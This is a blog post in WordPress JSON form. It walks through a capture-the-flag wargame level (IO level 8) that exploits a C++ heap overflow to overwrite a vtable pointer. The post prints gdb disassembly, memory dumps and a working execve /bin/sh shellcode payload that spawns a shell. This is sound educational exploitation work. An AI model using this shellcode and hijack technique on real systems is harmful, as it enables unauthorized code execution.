{"id":157,"date":"2012-08-01T17:10:51","date_gmt":"2012-08-02T00:10:51","guid":{"rendered":"http:\/\/seanmurphree.com\/blog\/?p=157"},"modified":"2012-10-30T14:26:07","modified_gmt":"2012-10-30T21:26:07","slug":"io-level-8-bufferheap-overflow-in-c","status":"publish","type":"post","link":"https:\/\/seanmurphree.com\/blog\/?p=157","title":{"rendered":"IO Level 8 &#8211; Buffer\/Heap Overflow in C++"},"content":{"rendered":"<p>Today we&#8217;re going to be looking at level 8 of the IO wargame, hosted on the Smash The Stack Network. \u00a0As always, the password at the end of the level will be stripped and replaced with Y&#8217;s. \u00a0So without further\u00a0adieu, let&#8217;s get started. \u00a0If you want to follow a long at home (which I highly recommend), ssh into blowfish as level8 with the password from completing level 7.<\/p>\n<p>Once logged in, let&#8217;s go a head and see what files we&#8217;ll be working with today. \u00a0A quick ls of the \/levels directory shows two files, level08 and level08.cpp. \u00a0This is neat, our first level in C++! \u00a0Why don&#8217;t we look at the source first:<\/p>\n<blockquote><p>level8@io:~$ more \/levels\/level08.cpp<br \/>\n\/\/ writen by bla for io.smashthestack.org<br \/>\n#include &lt;iostream&gt;<br \/>\n#include &lt;cstring&gt;<\/p>\n<p>class Number<br \/>\n{<br \/>\npublic:<br \/>\nNumber(int x) : number(x) {}<br \/>\nvoid setAnnotation(char *a) {memcpy(annotation, a, strlen(a));}<br \/>\nvirtual int operator+(Number &amp;r) {return number + r.number;}<br \/>\nprivate:<br \/>\nchar annotation[100];<br \/>\nint number;<br \/>\n};<br \/>\nint main(int argc, char **argv)<br \/>\n{<br \/>\nif(argc &lt; 2) _exit(1);<\/p>\n<p>Number *x = new Number(5);<br \/>\nNumber *y = new Number(6);<br \/>\nNumber &amp;five = *x, &amp;six = *y;<\/p>\n<p>five.setAnnotation(argv[1]);<\/p>\n<p>return six + five;<br \/>\n}<\/p><\/blockquote>\n<p>Next, let&#8217;s focus on the Number class. \u00a0This class has two private local variables. \u00a0One is a char array called annotation, the other is an int called number. \u00a0This class also has three public functions. \u00a0The first is the constructor which takes one argument, an int, and assigns it&#8217;s value to the private local variable &#8220;number&#8221;. \u00a0The second function is called setAnnotation and it takes a char pointer, &#8220;a&#8221;, as it&#8217;s only argument. \u00a0Finally the third is a virtually overloaded + operator for the Number class.<\/p>\n<p>Looking at the implementation of the setAnnotation function, we can see something that doesn&#8217;t look well programmed from a security perspective. \u00a0This function uses memcpy to write the bytes starting at the memory location pointed to by &#8220;a&#8221;, the function&#8217;s argument, to the memory locations starting at &#8220;annotation&#8221;. It also uses the length of the string &#8220;a&#8221; as the number of bytes to write. \u00a0While it&#8217;s good that strlen is used to provide a number of bytes to copy, it should have been limited by the length of &#8220;annotation&#8221;, not simply &#8220;a&#8221;. \u00a0Since we can control a&#8217;s value, and subsequently it&#8217;s length, we can overflow the annotation buffer, and cause changes to the heap.<\/p>\n<p>To get a good understanding of what&#8217;s happening in the program, let&#8217;s go a head and load up gdb and disassemble main. \u00a0The following is main with line comments:<\/p>\n<blockquote><p>(gdb) disass main<br \/>\nDump of assembler code for function main:<br \/>\n0x08048694 &lt;main+0&gt;: push %ebp<br \/>\n0x08048695 &lt;main+1&gt;: mov %esp,%ebp<br \/>\n0x08048697 &lt;main+3&gt;: and $0xfffffff0,%esp<br \/>\n0x0804869a &lt;main+6&gt;: push %ebx<br \/>\n0x0804869b &lt;main+7&gt;: sub $0x2c,%esp<br \/>\n0x0804869e &lt;main+10&gt;: cmpl $0x1,0x8(%ebp) &#8211;if(argc &lt; 2)<br \/>\n0x080486a2 &lt;main+14&gt;: jg 0x80486b0 &lt;main+28&gt; &#8212;<br \/>\n0x080486a4 &lt;main+16&gt;: movl $0x1,(%esp) &#8212;<br \/>\n0x080486ab &lt;main+23&gt;: call 0x804857c &lt;_exit@plt&gt; &#8212; _exit(1);<br \/>\n0x080486b0 &lt;main+28&gt;: movl $0x6c,(%esp) &#8211;0x6c = 108<br \/>\n0x080486b7 &lt;main+35&gt;: call 0x80485bc &lt;_Znwj@plt&gt; &#8211;new operator(unsigned int) annotation, number, this pointerfor number (allocates memory)(c++ variable x)<br \/>\n0x080486bc &lt;main+40&gt;: mov %eax,%ebx &#8211;save new address in ebx<br \/>\n0x080486be &lt;main+42&gt;: mov %ebx,%eax &#8211;reload to eax<br \/>\n0x080486c0 &lt;main+44&gt;: movl $0x5,0x4(%esp) &#8211;value 5 onto callstack as parameters<br \/>\n0x080486c8 &lt;main+52&gt;: mov %eax,(%esp) &#8211;address of number<br \/>\n0x080486cb &lt;main+55&gt;: call 0x804879e &lt;_ZN6NumberC1Ei&gt; &#8211;call constructor &lt;Number::Number(int)&gt;<br \/>\n0x080486d0 &lt;main+60&gt;: mov %ebx,0x10(%esp) &#8211;move old new operator address from ebx to stack<br \/>\n0x080486d4 &lt;main+64&gt;: movl $0x6c,(%esp) &#8211;move value of 108 into near end of stack pointer<br \/>\n0x080486db &lt;main+71&gt;: call 0x80485bc &lt;_Znwj@plt&gt; &#8211;new operator(unsigned int) annotation, number, this pointerfor number (allocates memory)(c++ variable y)<br \/>\n0x080486e0 &lt;main+76&gt;: mov %eax,%ebx &#8211;save new2 address in ebx<br \/>\n0x080486e2 &lt;main+78&gt;: mov %ebx,%eax &#8211;reload to eax<br \/>\n0x080486e4 &lt;main+80&gt;: movl $0x6,0x4(%esp) &#8211;value 6 onto callstack as parameters<br \/>\n0x080486ec &lt;main+88&gt;: mov %eax,(%esp) &#8211;new 2 address on callstack as parameters<br \/>\n0x080486ef &lt;main+91&gt;: call 0x804879e &lt;_ZN6NumberC1Ei&gt; &#8211;call constructor &lt;Number::Number(int)&gt;<br \/>\n0x080486f4 &lt;main+96&gt;: mov %ebx,0x14(%esp) &#8211;move old new2 operator address (memory address of new2) from ebx to stack (c++ variable y)<br \/>\n0x080486f8 &lt;main+100&gt;: mov 0x10(%esp),%eax &#8211;move old new address (c++ variable x) into eax<br \/>\n0x080486fc &lt;main+104&gt;: mov %eax,0x18(%esp) &#8211;move old new address from eax to the stack (assigning value to the reference variable five)<br \/>\n0x08048700 &lt;main+108&gt;: mov 0x14(%esp),%eax &#8211;move old new2 address (c++ variable y) into eax<br \/>\n0x08048704 &lt;main+112&gt;: mov %eax,0x1c(%esp) &#8211;move old new2 address from eax to the stack (assigning value to the reference variable six)<br \/>\n0x08048708 &lt;main+116&gt;: mov 0xc(%ebp),%eax &#8211;load address argv into eax<br \/>\n0x0804870b &lt;main+119&gt;: add $0x4,%eax &#8211;add 4 bytes to make up for argv[1] into array<br \/>\n0x0804870e &lt;main+122&gt;: mov (%eax),%eax &#8212;<br \/>\n0x08048710 &lt;main+124&gt;: mov %eax,0x4(%esp) &#8211;move char pointer of the first argument onto the stack<br \/>\n0x08048714 &lt;main+128&gt;: mov 0x18(%esp),%eax &#8211;load the address stored in the five variable into eax (its the address of our x structure in memory)<br \/>\n0x08048718 &lt;main+132&gt;: mov %eax,(%esp) &#8211;move the address from eax onto the stack<br \/>\n0x0804871b &lt;main+135&gt;: call 0x80487b6 &lt;_ZN6Number13setAnnotationEPc&gt; &#8211;Call to Number::setAnnotation(char*)<br \/>\n0x08048720 &lt;main+140&gt;: mov 0x1c(%esp),%eax &#8211;move address of six structure to eax<br \/>\n0x08048724 &lt;main+144&gt;: mov (%eax),%eax &#8211;dereference it and put it&#8217;s value in eax<br \/>\n0x08048726 &lt;main+146&gt;: mov (%eax),%edx &#8211;dereference what was the first 4 bytes of the structure and put that in edx (will function call it later, it must be a function)<br \/>\n0x08048728 &lt;main+148&gt;: mov 0x18(%esp),%eax &#8211;move address of five structure to eax<br \/>\n0x0804872c &lt;main+152&gt;: mov %eax,0x4(%esp) &#8211;move address of five as parameter on stack for call<br \/>\n0x08048730 &lt;main+156&gt;: mov 0x1c(%esp),%eax &#8211;move address of six structure into eax<br \/>\n0x08048734 &lt;main+160&gt;: mov %eax,(%esp) &#8211;move address of six as parameter on stack for call<br \/>\n0x08048737 &lt;main+163&gt;: call *%edx &#8211;call the address held in edx as a function<br \/>\n0x08048739 &lt;main+165&gt;: add $0x2c,%esp<br \/>\n0x0804873c &lt;main+168&gt;: pop %ebx<br \/>\n0x0804873d &lt;main+169&gt;: mov %ebp,%esp<br \/>\n0x0804873f &lt;main+171&gt;: pop %ebp<br \/>\n0x08048740 &lt;main+172&gt;: ret<br \/>\nEnd of assembler dump.<\/p><\/blockquote>\n<p>So analyzing the above we can assume our stack frame looks like:<\/p>\n<blockquote><p>0x1c \u00a0 0x18 0x14 0x10 0xc \u00a0 0x8<br \/>\n[&amp;six][&amp;five][*y][*x][argv][argc][sfp][ra]<\/p><\/blockquote>\n<p>So let&#8217;s throw a break at 0x0804871b &lt;main+135&gt;: call 0x80487b6 &lt;_ZN6Number13setAnnotationEPc&gt; &#8211;Call to Number::setAnnotation(char*) And check out the stack.<\/p>\n<blockquote><p>Breakpoint 1, 0x0804871b in main ()<br \/>\n(gdb) x\/32xb $esp<br \/>\n0xbfffdca0: 0x08 0xa0 0x04 0x08 0x96 0xde 0xff 0xbf<br \/>\n0xbfffdca8: 0xd8 0xdc 0xff 0xbf 0x29 0x88 0x04 0x08<br \/>\n0xbfffdcb0: 0x08 0xa0 0x04 0x08 0x78 0xa0 0x04 0x08<br \/>\n0xbfffdcb8: 0x08 0xa0 0x04 0x08 0x78 0xa0 0x04 0x08<\/p><\/blockquote>\n<p>Looking at main&#8217;s assembly we can see that at this point in execution, esp+4 holds the address of the start of argv[1].\u00a0\u00a0Also, esp holds the address that we&#8217;re going to write to (aka the address of the annotation array of the structure refered to by the variable five). \u00a0 The structure of this address shows us that it isn&#8217;t in the same place in memory as all the 0xbfff&#8212;- addresses. \u00a0This 0x0804&#8212;- area, it turns out, is the heap. \u00a0The heap is similar to the stack and is used when a program needs to dynamically allocate more memory. In our program today, that happened when the &#8220;new&#8221; command was used to create two instances of the Number class, and is why they reside in the heap.<\/p>\n<p>Examining the stack some more, we can find the values stored in both reference variables five and six. \u00a0They are located at +0x18 and +0x1c on the stack respectively from $esp. \u00a0Thus, we can see our Number instances are located at 0x0804a008 and 0x0804a078. \u00a0It is important to remember that with the heap, memory addresses grow up, unlike with the stack, which is why &#8220;six&#8221; is at a larger memory address than &#8220;five&#8221;.<\/p>\n<p>Next, let&#8217;s go a head and look at the memory that represents one of our instances. \u00a0Let&#8217;s check out instance &#8220;six&#8221;:<\/p>\n<blockquote><p>(gdb) x\/108xb 0x0804a078<br \/>\n0x804a078: 0xc8 0x88 0x04 0x08 0x00 0x00 0x00 0x00<br \/>\n0x804a080: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00<br \/>\n0x804a088: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00<br \/>\n0x804a090: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00<br \/>\n0x804a098: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00<br \/>\n0x804a0a0: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00<br \/>\n0x804a0a8: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00<br \/>\n0x804a0b0: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00<br \/>\n0x804a0b8: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00<br \/>\n0x804a0c0: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00<br \/>\n0x804a0c8: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00<br \/>\n0x804a0d0: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00<br \/>\n0x804a0d8: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00<br \/>\n0x804a0e0: 0x06 0x00 0x00 0x00<\/p><\/blockquote>\n<p>There are three things to note about this memory. \u00a0Let&#8217;s start from the bottom and notice that the int value &#8220;number&#8221; is stored at the end (notice the int value 6). \u00a0Next we see the memory which is allocated for the 100 byte character array. \u00a0Finally, at the very top of the structure, we see 4 bytes which look an awful lot like a memory address. \u00a0The reason is because it is! \u00a0Let&#8217;s look at the address and see if we can tell what it is:<\/p>\n<blockquote><p>(gdb) disass 0x080488c8<br \/>\nDump of assembler code for function _ZTV6Number:<br \/>\n0x080488c0 &lt;_ZTV6Number+0&gt;: add %al,(%eax)<br \/>\n0x080488c2 &lt;_ZTV6Number+2&gt;: add %al,(%eax)<br \/>\n0x080488c4 &lt;_ZTV6Number+4&gt;: aam $0xffffff88<br \/>\n0x080488c6 &lt;_ZTV6Number+6&gt;: add $0x8,%al<br \/>\n0x080488c8 &lt;_ZTV6Number+8&gt;: loop 0x8048851 &lt;__libc_csu_init+65&gt;<br \/>\n0x080488ca &lt;_ZTV6Number+10&gt;: add $0x8,%al<\/p><\/blockquote>\n<p>From the assembly of this function it may not be directly clear what it is. \u00a0But looking at when it&#8217;s called in main, we can decern that it is the virtual table for the virtual functions of the number class. \u00a0Also, looking back at the assembly of main, we can see that the virtual table accessed is that of the &#8220;six&#8221; structure. \u00a0Since the buffer we can overflow is that of &#8220;five&#8221;, if we overflow the bytes in the &#8220;six&#8221; structure which point to the virtual table with the address of a function we want to execute, we should be able to hijack execution. (Almost. \u00a0Since the v-table has another level of links we&#8217;ll have to add another level of de-referencing)<\/p>\n<p>So, counting up the memory locations, we can see that there are 108 bytes between the start of &#8220;annotation&#8221; in &#8220;five&#8221; and the start of the six structure, where the v-table pointer is. \u00a0Thus, we&#8217;ll need to overflow the annotation buffer with 108 bytes, then 4 more bytes to overwrite the function pointer of &#8220;six&#8221;. \u00a0To make sure this is correct, let&#8217;s test it in gdb and drop a breakpoint to check the values again:<\/p>\n<blockquote><p>(gdb) run `perl -e &#8216;print &#8220;A&#8221;x108,&#8221;BBBB&#8221;&#8216;`<br \/>\nStarting program: \/levels\/level08 `perl -e &#8216;print &#8220;A&#8221;x108,&#8221;BBBB&#8221;&#8216;`<\/p>\n<p>Breakpoint 1, 0x08048724 in main ()<br \/>\n(gdb) i r<br \/>\neax 0x804a078 134520952<br \/>\necx 0x0 0<br \/>\nedx 0x0 0<br \/>\nebx 0x804a078 134520952<br \/>\nesp 0xbfffdc30 0xbfffdc30<br \/>\nebp 0xbfffdc68 0xbfffdc68<br \/>\nesi 0x0 0<br \/>\nedi 0x0 0<br \/>\neip 0x8048724 0x8048724 &lt;main+144&gt;<br \/>\neflags 0x200202 [ IF ID ]<br \/>\ncs 0x73 115<br \/>\nss 0x7b 123<br \/>\nds 0x7b 123<br \/>\nes 0x7b 123<br \/>\nfs 0x0 0<br \/>\ngs 0x33 51<br \/>\n(gdb) x\/8xb 0x0804a078<br \/>\n0x804a078: 0x42 0x42 0x42 0x42 0x00 0x00 0x00 0x00<\/p><\/blockquote>\n<p>Perfect. \u00a0Now we just need to overwrite this pointer with a valid memory location, perhaps that of some shellcode. \u00a0Since we know the address of the annotation buffer in five, let&#8217;s try hosting our shellcode there.<\/p>\n<blockquote><p>(gdb) run `perl -e &#8216;print &#8220;\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x31\\xdb\\x89\\xd8\\xb0\\x17\\xcd\\x80\\x31\\xdb\\x89\\xd8\\xb0\\x2e\\xcd\\x80\\x31\\xc0\\x50\\x68\\x2f\\x2f\\x73\\x68\\x68\\x2f\\x62\\x69\\x6e\\x89\\xe3\\x50\\x53\\x89\\xe1\\x31\\xd2\\xb0\\x0b\\xcd\\x80&#8221;,&#8221;A&#8221;x56,&#8221;\\x10\\xa0\\x04\\x08&#8243;&#8216;`<\/p>\n<p>Starting program: \/levels\/level08 `perl -e &#8216;print &#8220;\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x31\\xdb\\x89\\xd8\\xb0\\x17\\xcd\\x80\\x31\\xdb\\x89\\xd8\\xb0\\x2e\\xcd\\x80\\x31\\xc0\\x50\\x68\\x2f\\x2f\\x73\\x68\\x68\\x2f\\x62\\x69\\x6e\\x89\\xe3\\x50\\x53\\x89\\xe1\\x31\\xd2\\xb0\\x0b\\xcd\\x80&#8221;,&#8221;A&#8221;x56,&#8221;\\x10\\xa0\\x04\\x08&#8243;&#8216;`<\/p>\n<p>Program received signal SIGSEGV, Segmentation fault.<br \/>\n0x90909090 in ?? ()<\/p><\/blockquote>\n<p>Woops, not quite right. \u00a0Forgot about a dereference for the v-table. \u00a0To make up for that, we can simply replace the 4 NOPs at the beginning of our string with the address 4 bytes deeper in the NOP padding, using them as a pointer instead of a sled.<\/p>\n<blockquote><p>(gdb) run `perl -e &#8216;print &#8220;\\x10\\xa0\\x04\\x08\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x31\\xdb\\x89\\xd8\\xb0\\x17\\xcd\\x80\\x31\\xdb\\x89\\xd8\\xb0\\x2e\\xcd\\x80\\x31\\xc0\\x50\\x68\\x2f\\x2f\\x73\\x68\\x68\\x2f\\x62\\x69\\x6e\\x89\\xe3\\x50\\x53\\x89\\xe1\\x31\\xd2\\xb0\\x0b\\xcd\\x80&#8221;,&#8221;A&#8221;x56,&#8221;\\x0c\\xa0\\x04\\x08&#8243;&#8216;`<br \/>\nStarting program: \/levels\/level08 `perl -e &#8216;print &#8220;\\x10\\xa0\\x04\\x08\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x31\\xdb\\x89\\xd8\\xb0\\x17\\xcd\\x80\\x31\\xdb\\x89\\xd8\\xb0\\x2e\\xcd\\x80\\x31\\xc0\\x50\\x68\\x2f\\x2f\\x73\\x68\\x68\\x2f\\x62\\x69\\x6e\\x89\\xe3\\x50\\x53\\x89\\xe1\\x31\\xd2\\xb0\\x0b\\xcd\\x80&#8221;,&#8221;A&#8221;x56,&#8221;\\x0c\\xa0\\x04\\x08&#8243;&#8216;`<\/p>\n<p>Executing new program: \/bin\/bash<br \/>\nsh-4.1$<\/p><\/blockquote>\n<p>There we have it. \u00a0While programs can use memory from either the stack or the heap, buffer overflows still allow attackers to overwrite memory, which may compromise the security and integrity of the programs.<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Today we&#8217;re going to be looking at level 8 of the IO wargame, hosted on the Smash The Stack Network. \u00a0As always, the password at the end of the level will be stripped and replaced with Y&#8217;s. \u00a0So without further\u00a0adieu, &hellip; <a href=\"https:\/\/seanmurphree.com\/blog\/?p=157\">Continue reading <span class=\"meta-nav\">&rarr;<\/span><\/a><\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":[],"categories":[8,6,4],"tags":[27,31,50,49,11,47],"_links":{"self":[{"href":"https:\/\/seanmurphree.com\/blog\/index.php?rest_route=\/wp\/v2\/posts\/157"}],"collection":[{"href":"https:\/\/seanmurphree.com\/blog\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/seanmurphree.com\/blog\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/seanmurphree.com\/blog\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/seanmurphree.com\/blog\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=157"}],"version-history":[{"count":16,"href":"https:\/\/seanmurphree.com\/blog\/index.php?rest_route=\/wp\/v2\/posts\/157\/revisions"}],"predecessor-version":[{"id":164,"href":"https:\/\/seanmurphree.com\/blog\/index.php?rest_route=\/wp\/v2\/posts\/157\/revisions\/164"}],"wp:attachment":[{"href":"https:\/\/seanmurphree.com\/blog\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=157"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/seanmurphree.com\/blog\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=157"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/seanmurphree.com\/blog\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=157"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}